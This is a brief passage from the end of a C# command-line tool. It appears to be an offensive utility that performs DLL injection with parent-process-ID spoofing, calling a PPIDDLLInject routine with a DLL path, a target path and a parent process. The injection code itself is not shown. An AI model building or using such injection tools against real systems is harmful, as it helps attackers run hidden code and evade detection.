arguments["/path"]; byte[] buf = Encoding.Default.GetBytes(dllpath); PPIDDLLInject(arguments["/ppath"], buf, parentProc); } } else { Console.WriteLine("[+] File doesn't exists. Please check the specified file path."); } } else { Console.WriteLine("[+] Invalid argument. Please refer the help section for more details."); help(); } } catch (Exception ex) { Console.WriteLine(ex.Message); } } } }